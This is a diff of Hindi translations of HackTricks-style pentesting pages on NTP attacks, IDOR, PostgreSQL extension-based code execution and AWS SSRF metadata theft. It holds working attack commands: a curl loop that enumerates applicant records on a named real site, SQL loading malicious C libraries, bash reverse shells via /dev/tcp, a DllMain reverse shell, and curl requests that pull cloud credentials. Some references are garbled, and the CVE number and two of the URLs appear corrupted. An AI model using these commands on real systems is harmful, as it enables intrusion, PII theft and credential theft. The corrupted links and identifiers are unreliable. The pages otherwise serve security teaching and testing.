5. पोलिंग को ≤24 घंटे रखें ताकि कूद-सेकंड के झंडे छूट न जाएं।
व्यापक चेकलिस्ट के लिए RFC 8633 देखें। citeturn8search0turn8search1
व्यापक चेकलिस्ट के लिए RFC 8633 देखें।
---
## Shodan / Censys Dorks
@ -141,7 +141,7 @@ port:4460 "ntske" # NTS-KE
| उपकरण | उद्देश्य | उदाहरण |
|------|---------|---------|
| ``ntpwn`` | स्क्रिप्ट-किडी रैपर जो monlist & peers क्वेरीज़ को स्प्रे करता है | ``python ntpwn.py --monlist targets.txt`` |
| ``ntpwn`` | स्क्रिप्ट-किडी wrapper जो monlist & peers क्वेरी को स्प्रे करता है | ``python ntpwn.py --monlist targets.txt`` |
| **zgrab2 ntp** | मास स्कैनिंग / JSON आउटपुट जिसमें monlist फ्लैग शामिल है | ऊपर दिए गए कमांड को देखें |
| ``chronyd`` with ``allow`` | पेंटेस्ट लैब में धोखाधड़ी NTP सर्वर चलाना | ``chronyd -q 'server 127.127.1.0 iburst'`` |
| ``BetterCap`` | Wi-Fi पर समय-शिफ्ट MITM के लिए NTP पैकेट इंजेक्ट करना | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
@ -167,16 +167,16 @@ Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
---
## References
## संदर्भ
- RFC 8915 *Network Time Security for the Network Time Protocol* (port 4460) citeturn11search0
- RFC 8633 *Network Time Protocol BCP* citeturn8search0
- Cloudflare DDoS report 2024 Q4 (5.6 Tbps) citeturn5search0
- Cloudflare *NTP Amplification Attack* article citeturn5search1
- NTP 4.2.8p15 CVE series 2023-04 citeturn1search4
- NVD entries **CVE-2023-2655155**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
- SUSE chrony security update 2024 (chrony 4.5) citeturn2search2
- Khronos/Chronos draft (time-shift mitigation) citeturn9search1
- chronyc manual/examples for remote monitoring citeturn3search0turn10search1
- zgrab2 ntp module docs citeturn7search0
- RFC 8915 *नेटवर्क टाइम प्रोटोकॉल के लिए नेटवर्क टाइम सुरक्षा* (पोर्ट 4460)
- RFC 8633 *नेटवर्क टाइम प्रोटोकॉल BCP*
- Cloudflare DDoS रिपोर्ट 2024 Q4 (5.6 Tbps)
- Cloudflare *NTP एम्प्लीफिकेशन अटैक* लेख
- NTP 4.2.8p15 CVE श्रृंखला 2023-04
- NVD प्रविष्टियाँ **CVE-2023-2655155**, **CVE-2023-33192**
- SUSE क्रोनाई सुरक्षा अपडेट 2024 (क्रोनाई 4.5)
- Khronos/Chronos ड्राफ्ट (समय-शिफ्ट शमन)
- chronyc मैनुअल/उदाहरण दूरस्थ निगरानी के लिए
- zgrab2 ntp मॉड्यूल दस्तावेज़
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,85 @@
{{#include ../banners/hacktricks-training.md}}
**पोस्ट की जांच करें: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब प्रकट होता है जब एक वेब या API एंडपॉइंट एक उपयोगकर्ता-नियंत्रित पहचानकर्ता को प्रकट करता है या स्वीकार करता है जो **प्रत्यक्ष रूप से** एक आंतरिक वस्तु तक पहुँचने के लिए उपयोग किया जाता है **बिना यह सत्यापित किए कि कॉलर को उस वस्तु तक पहुँचने/संशोधित करने के लिए अधिकृत है**। सफल शोषण सामान्यतः क्षैतिज या ऊर्ध्वाधर विशेषाधिकार-उन्नयन की अनुमति देता है जैसे अन्य उपयोगकर्ताओं के डेटा को पढ़ना या संशोधित करना और, सबसे खराब स्थिति में, पूर्ण खाता अधिग्रहण या सामूहिक डेटा निकासी।
---
## 1. संभावित IDOR की पहचान करना
1. **पैरामीटर की तलाश करें जो एक वस्तु को संदर्भित करते हैं**:
* पथ: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* क्वेरी: `?id=42`, `?invoice=2024-00001`
* बॉडी / JSON: `{"user_id": 321, "order_id": 987}`
* हेडर / कुकीज़: `X-Client-ID: 4711`
2. उन एंडपॉइंट्स को प्राथमिकता दें जो **डेटा पढ़ते या अपडेट करते हैं** (`GET`, `PUT`, `PATCH`, `DELETE`)।
3. ध्यान दें जब पहचानकर्ता **क्रमबद्ध या पूर्वानुमानित** होते हैं - यदि आपका ID `64185742` है, तो `64185741` शायद मौजूद है।
4. छिपे हुए या वैकल्पिक प्रवाहों का अन्वेषण करें (जैसे *"Paradox team members"* लिंक लॉगिन पृष्ठों में) जो अतिरिक्त APIs को उजागर कर सकते हैं।
5. एक **प्रमाणित निम्न-विशेषाधिकार सत्र** का उपयोग करें और केवल ID को **समान टोकन/कुकी रखते हुए** बदलें। अधिकृतता त्रुटि की अनुपस्थिति आमतौर पर IDOR का संकेत होती है।
### त्वरित मैनुअल छेड़छाड़ (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### स्वचालित सूचीकरण (Burp Intruder / curl लूप)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
## 2. वास्तविक-विश्व केस अध्ययन McHire चैटबॉट प्लेटफ़ॉर्म (2025)
Paradox.ai-शक्ति वाले **McHire** भर्ती पोर्टल के मूल्यांकन के दौरान निम्नलिखित IDOR का पता चला:
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: **किसी भी** रेस्तरां परीक्षण खाते के लिए उपयोगकर्ता सत्र कुकी
* Body parameter: `{"lead_id": N}` 8-अंकों का, **क्रमबद्ध** संख्यात्मक पहचानकर्ता
`lead_id` को घटाकर, परीक्षक ने मनमाने आवेदकों की **पूर्ण PII** (नाम, ई-मेल, फोन, पता, शिफ्ट प्राथमिकताएँ) प्राप्त कीं, साथ ही एक उपभोक्ता **JWT** जो सत्र हाइजैकिंग की अनुमति देता है। रेंज `1 64,185,742` की गणना करने पर लगभग **64 मिलियन** रिकॉर्ड उजागर हुए।
Proof-of-Concept अनुरोध:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
संयुक्त **डिफ़ॉल्ट प्रशासन क्रेडेंशियल्स** (`123456:123456`) के साथ जिसने परीक्षण खाते तक पहुँच प्रदान की, इस भेद्यता के परिणामस्वरूप एक महत्वपूर्ण, कंपनी-व्यापी डेटा लीक हुआ।
---
## 3. IDOR / BOLA का प्रभाव
* क्षैतिज वृद्धि **अन्य उपयोगकर्ताओं** के डेटा को पढ़ना/अपडेट करना/हटाना।
* ऊर्ध्वाधर वृद्धि निम्न विशेषाधिकार प्राप्त उपयोगकर्ता प्रशासन-केवल कार्यक्षमता प्राप्त करता है।
* यदि पहचानकर्ता अनुक्रमिक हैं (जैसे, आवेदक आईडी, चालान) तो बड़े पैमाने पर डेटा लीक।
* अन्य उपयोगकर्ताओं के टोकन चुराकर या पासवर्ड रीसेट करके खाता अधिग्रहण।
---
## 4. शमन और सर्वोत्तम प्रथाएँ
1. हर अनुरोध पर **ऑब्जेक्ट-स्तरीय प्राधिकरण** लागू करें (`user_id == session.user`)।
2. स्वचालित वृद्धि आईडी के बजाय **अप्रत्यक्ष, अनुमानित पहचानकर्ताओं** (UUIDv4, ULID) को प्राथमिकता दें।
3. प्राधिकरण **सर्वर-साइड** पर करें, कभी भी छिपे हुए फ़ॉर्म फ़ील्ड या UI नियंत्रणों पर निर्भर न रहें।
4. एक केंद्रीय मिडलवेयर में **RBAC / ABAC** जांच लागू करें।
5. आईडी की गणना का पता लगाने के लिए **रेट-सीमित और लॉगिंग** जोड़ें।
6. हर नए एंडपॉइंट का सुरक्षा परीक्षण करें (यूनिट, एकीकरण, और DAST)।
---
## 5. उपकरण
* **BurpSuite एक्सटेंशन**: Authorize, Auto Repeater, Turbo Intruder।
* **OWASP ZAP**: Auth Matrix, Forced Browse।
* **Github प्रोजेक्ट्स**: `bwapp-idor-scanner`, `Blindy` (बुल्क IDOR शिकार)।
{{#include ../banners/hacktricks-training.md}}
## संदर्भ
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
{{#include /banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## PostgreSQL Extensions
PostgreSQL को विस्तारणीयता को एक मुख्य विशेषता के रूप में विकसित किया गया है, जिससे यह विस्तार को इस तरह से एकीकृत कर सकता है जैसे कि वे अंतर्निहित कार्यक्षमताएँ हों। ये विस्तार, मूल रूप से C में लिखी गई पुस्तकालयें, डेटाबेस को अतिरिक्त कार्यों, ऑपरेटरों या प्रकारों के साथ समृद्ध करते हैं।
PostgreSQL को विस्तारशीलता को एक मुख्य विशेषता के रूप में विकसित किया गया है, जिससे यह विस्तार को इस तरह से एकीकृत कर सकता है जैसे कि वे अंतर्निहित कार्यक्षमताएँ हों। ये विस्तार, मूल रूप से C में लिखी गई पुस्तकालयें, डेटाबेस को अतिरिक्त कार्यों, ऑपरेटरों या प्रकारों के साथ समृद्ध करते हैं।
संस्करण 8.1 से आगे, विस्तार पुस्तकालयों पर एक विशेष आवश्यकता लगाई गई है: उन्हें एक विशेष हेडर के साथ संकलित किया जाना चाहिए। इसके बिना, PostgreSQL उन्हें निष्पादित नहीं करेगा, यह सुनिश्चित करते हुए कि केवल संगत और संभावित रूप से सुरक्षित विस्तार का उपयोग किया जाए।
संस्करण 8.1 से आगे, विस्तार पुस्तकालयों पर एक विशेष आवश्यकता लागू की गई है: उन्हें एक विशेष हेडर के साथ संकलित किया जाना चाहिए। इसके बिना, PostgreSQL उन्हें निष्पादित नहीं करेगा, यह सुनिश्चित करते हुए कि केवल संगत और संभावित रूप से सुरक्षित विस्तार का उपयोग किया जाए।
इसके अलावा, ध्यान रखें कि **यदि आप नहीं जानते कि कैसे** [**PostgreSQL का दुरुपयोग करके पीड़ित को फ़ाइलें अपलोड करें, तो आपको यह पोस्ट पढ़नी चाहिए।**](big-binary-files-upload-postgresql.md)
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
<summary>Write binary file from base64</summary>
बाइनरी को पोस्टग्रेस में फ़ाइल में लिखने के लिए आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा:
पोस्टग्रेस में एक बाइनरी को फ़ाइल में लिखने के लिए आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
इस त्रुटि को [PostgreSQL दस्तावेज़](https://www.postgresql.org/docs/current/static/xfunc-c.html) में समझाया गया है:
> यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे एक (और केवल एक) मॉड्यूल स्रोत फ़ाइल में लिखें, header fmgr.h को शामिल करने के बाद:
> यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे मॉड्यूल स्रोत फ़ाइलों में से एक (और केवल एक) में लिखें, fmgr.h हेडर शामिल करने के बाद:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
PostgreSQL संस्करण 8.2 से, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। इस कस्टम पुस्तकालय को PostgreSQL के संगत प्रमुख संस्करण के खिलाफ संकलित किया जाना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की वास्तुकला और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
PostgreSQL संस्करण 8.2 से, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय संगत प्रमुख संस्करण के PostgreSQL के खिलाफ संकलित होना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की वास्तुकला और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
#### पुस्तकालय संकलित करें
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
आप इस **प्रीकंपाइल की गई लाइब्रेरी** को कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप **इस प्रक्रिया को स्वचालित** भी कर सकते हैं (यदि आपके पास PostgreSQL का एक्सेस है) के साथ:
आप इस **प्रीकंपाइल की गई लाइब्रेरी** को कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप **इस प्रक्रिया को स्वचालित** कर सकते हैं (यदि आपके पास PostgreSQL एक्सेस है) के साथ:
{{#ref}}
https://github.com/Dionach/pgexec
@ -254,23 +254,23 @@ int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
ध्यान दें कि इस मामले में **दुष्ट कोड DllMain फ़ंक्शन के अंदर है**। इसका मतलब है कि इस मामले में पोस्टग्रेएसक्यूएल में लोड किए गए फ़ंक्शन को निष्पादित करना आवश्यक नहीं है, बस **DLL को लोड करना** **रिवर्स शेल** को **निष्पादित** करेगा:
ध्यान दें कि इस मामले में **दुष्ट कोड DllMain फ़ंक्शन के अंदर है**। इसका मतलब है कि इस मामले में पोस्टग्रेएसक्यूएल में लोड की गई फ़ंक्शन को निष्पादित करना आवश्यक नहीं है, बस **DLL को लोड करना** **रिवर्स शेल** को **निष्पादित** करेगा:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
[PolyUDF project](https://github.com/rop-la/PolyUDF) एक अच्छा प्रारंभिक बिंदु है जिसमें पूरा MS Visual Studio प्रोजेक्ट और एक तैयार उपयोग करने योग्य पुस्तकालय (जिसमें: _command eval_, _exec_ और _cleanup_) मल्टीवर्जन समर्थन के साथ है।
The [PolyUDF project](https://github.com/rop-la/PolyUDF) एक अच्छा प्रारंभिक बिंदु है जिसमें पूरा MS Visual Studio प्रोजेक्ट और एक तैयार उपयोग करने के लिए लाइब्रेरी (जिसमें: _command eval_, _exec_ और _cleanup_) मल्टीवर्जन समर्थन के साथ है।
### नवीनतम Prostgres संस्करणों में RCE
**नवीनतम संस्करणों** में PostgreSQL, प्रतिबंध लगाए गए हैं जहाँ `superuser` को **विशिष्ट निर्देशिकाओं** के अलावा साझा पुस्तकालय फ़ाइलें **लोड करने** से **रोक दिया गया** है, जैसे Windows पर `C:\Program Files\PostgreSQL\11\lib` या \*nix सिस्टम पर `/var/lib/postgresql/11/lib`। ये निर्देशिकाएँ NETWORK_SERVICE या postgres खातों द्वारा लिखने के संचालन के खिलाफ **सुरक्षित** हैं।
PostgreSQL के **नवीनतम संस्करणों** में, कुछ प्रतिबंध लगाए गए हैं जहाँ `superuser` को **विशिष्ट निर्देशिकाओं** के अलावा साझा लाइब्रेरी फ़ाइलें **लोड करने** से **रोक दिया गया** है, जैसे Windows पर `C:\Program Files\PostgreSQL\11\lib` या \*nix सिस्टम पर `/var/lib/postgresql/11/lib`। ये निर्देशिकाएँ NETWORK_SERVICE या postgres खातों द्वारा लिखने के संचालन के खिलाफ **सुरक्षित** हैं।
इन प्रतिबंधों के बावजूद, एक प्रमाणित डेटाबेस `superuser` के लिए "large objects" का उपयोग करके फ़ाइल सिस्टम में **बाइनरी फ़ाइलें लिखना** संभव है। यह क्षमता `C:\Program Files\PostgreSQL\11\data` निर्देशिका के भीतर लिखने तक फैली हुई है, जो तालिकाओं को अपडेट या बनाने जैसे डेटाबेस संचालन के लिए आवश्यक है।
`CREATE FUNCTION` कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में **निर्देशिका ट्रैवर्सल** की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस ट्रैवर्सल का **शोषण** करके डेटा निर्देशिका में एक साझा पुस्तकालय फ़ाइल लिख सकता है और फिर उसे **लोड** कर सकता है। यह शोषण हमलावर को मनमाने कोड को निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर मूल कोड निष्पादन प्राप्त होता है।
`CREATE FUNCTION` कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में **निर्देशिका यात्रा** की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस यात्रा का **शोषण** करके डेटा निर्देशिका में एक साझा लाइब्रेरी फ़ाइल लिख सकता है और फिर उसे **लोड** कर सकता है। यह शोषण हमलावर को मनमाने कोड को निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर स्थानीय कोड निष्पादन प्राप्त होता है।
#### हमले का प्रवाह
सबसे पहले आपको **dll अपलोड करने के लिए large objects का उपयोग करना होगा**। आप यहाँ देख सकते हैं कि ऐसा कैसे करना है:
सबसे पहले आपको **dll अपलोड करने के लिए large objects का उपयोग करना होगा**। आप यहाँ देख सकते हैं कि ऐसा कैसे किया जाता है:
{{#ref}}
big-binary-files-upload-postgresql.md
@ -281,11 +281,11 @@ big-binary-files-upload-postgresql.md
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create फ़ंक्शन इसे जोड़ देगा।_
_ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create function इसे जोड़ देगा।_
अधिक जानकारी के लिए **यहाँ पढ़ें**[ **मूल प्रकाशन**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**।**\
उस प्रकाशन में **यह था** [**कोड जो postgres एक्सटेंशन उत्पन्न करने के लिए उपयोग किया गया**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres एक्सटेंशन को संकलित करने के लिए किसी भी पिछले संस्करण को पढ़ें_)।\
एक ही पृष्ठ पर **इस तकनीक को स्वचालित करने के लिए** यह **शोषण** दिया गया था:
अधिक जानकारी के लिए **यहाँ पढ़ें**[ **मूल प्रकाशन**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**।**\
उस प्रकाशन में **यह था** [**कोड जो postgres एक्सटेंशन उत्पन्न करने के लिए उपयोग किया गया**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_postgres एक्सटेंशन को संकलित करने के लिए किसी भी पिछले संस्करण को पढ़ें_)।\
उसी पृष्ठ पर **इस तकनीक को स्वचालित करने के लिए** यह **शोषण** दिया गया था:
```python
#!/usr/bin/env python3
import sys

View File

@ -11,11 +11,11 @@
मेटाडेटा एंडपॉइंट के **2 संस्करण** हैं। **पहला** संस्करण **GET** अनुरोधों के माध्यम से एंडपॉइंट को **एक्सेस** करने की अनुमति देता है (इसलिए कोई भी **SSRF इसका दुरुपयोग कर सकता है**)। **संस्करण 2** के लिए, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), आपको एक **टोकन** के लिए **PUT** अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ मेटाडेटा को एक्सेस करना होगा (इसलिए इसे SSRF के साथ **दुरुपयोग करना अधिक जटिल है**)।
> [!CAUTION]
> ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेजों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **हॉप लिमिट 1** होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा को एक्सेस करना असंभव हो जाएगा।
> ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेजों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **हॉप लिमिट 1** होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा को एक्सेस करना असंभव हो जाएगा।
>
> इसके अलावा, **IMDSv2** भी **`X-Forwarded-For` हेडर शामिल करने वाले टोकन को प्राप्त करने के लिए अनुरोधों को ब्लॉक करेगा**। यह गलत कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी को इसे एक्सेस करने से रोकने के लिए है।
आप [दस्तावेजों में मेटाडेटा एंडपॉइंट के बारे में जानकारी](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) पा सकते हैं। निम्नलिखित स्क्रिप्ट से इसमें से कुछ दिलचस्प जानकारी प्राप्त की जाती है:
आप [दस्तावेजों में मेटाडेटा एंडपॉइंट के बारे में जानकारी](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) पा सकते हैं। निम्नलिखित स्क्रिप्ट से इसमें से कुछ दिलचस्प जानकारी प्राप्त की जाती है:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -88,21 +88,21 @@ aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
ध्यान दें कि **aws_session_token** प्रोफ़ाइल के काम करने के लिए अनिवार्य है
ध्यान दें कि **aws_session_token** आवश्यक है ताकि प्रोफ़ाइल काम कर के।
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) का उपयोग खोजे गए क्रेडेंशियल्स के साथ आपके विशेषाधिकारों का पता लगाने और विशेषाधिकारों को बढ़ाने के लिए किया जा सकता है।
### AWS ECS (कंटेनर सेवा) क्रेडेंशियल्स में SSRF
**ECS**, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने स्वयं के क्लस्टर प्रबंधन अवसंरचना को स्केल किए क्योंकि ECS यह आपके लिए प्रबंधित करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **मेटाडेटा एंडपॉइंट्स बदल जाते हैं**
**ECS**, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने स्वयं के क्लस्टर प्रबंधन बुनियादी ढांचे को स्केल किए क्योंकि ECS यह आपके लिए प्रबंधित करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **मेटाडेटा एंडपॉइंट्स बदल जाते हैं**
यदि आप _**http://169.254.170.2/v2/credentials/\<GUID>**_ पर पहुँचते हैं, तो आप ECS मशीन के क्रेडेंशियल्स पाएंगे। लेकिन पहले आपको **\<GUID>** ढूंढना होगा। \<GUID> खोजने के लिए आपको मशीन के अंदर **environ** वेरिएबल **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** को पढ़ना होगा।\
यदि आप _**http://169.254.170.2/v2/credentials/\<GUID>**_ तक पहुँचते हैं, तो आप ECS मशीन के क्रेडेंशियल्स पाएंगे। लेकिन पहले आपको **\<GUID>** ढूंढना होगा। \<GUID> खोजने के लिए आपको मशीन के अंदर **environ** वेरिएबल **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** को पढ़ना होगा।\
आप इसे `file:///proc/self/environ` पर **Path Traversal** का उपयोग करके पढ़ने में सक्षम हो सकते हैं।\
उल्लेखित http पता आपको **AccessKey, SecretKey और token** देना चाहिए।
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> [!TIP]
> ध्यान दें कि **कुछ मामलों** में आप कंटेनर से **EC2 मेटाडेटा इंस्टेंस** तक पहुँच सकते हैं (IMDSv2 TTL सीमाओं की जाँच करें जो पहले उल्लेखित हैं)। इन परिदृश्यों में, आप कंटेनर से कंटेनर IAM भूमिका और EC2 IAM भूमिका दोनों तक पहुँच सकते हैं।
### SSRF for AWS Lambda
@ -118,7 +118,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
इसके अलावा, IAM क्रेडेंशियल्स के अलावा, Lambda फ़ंक्शंस के पास **इवेंट डेटा होता है जो फ़ंक्शन शुरू होने पर पास किया जाता है**। यह डेटा फ़ंक्शन के लिए [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) के माध्यम से उपलब्ध कराया जाता है और इसमें **संवेदनशील** **जानकारी** हो सकती है (जैसे **stageVariables** के अंदर)। IAM क्रेडेंशियल्स के विपरीत, यह डेटा मानक SSRF के माध्यम से **`http://localhost:9001/2018-06-01/runtime/invocation/next`** पर पहुँच योग्य है।
> [!WARNING]
> ध्यान दें कि **lambda क्रेडेंशियल्स** **env वेरिएबल्स** के अंदर होते हैं। इसलिए यदि **स्टैक ट्रेस** lambda कोड env वेरिएबल्स को प्रिंट करता है, तो ऐप में **एक त्रुटि उत्पन्न करके उन्हें एक्सफिल्ट्रेट करना संभव है**।
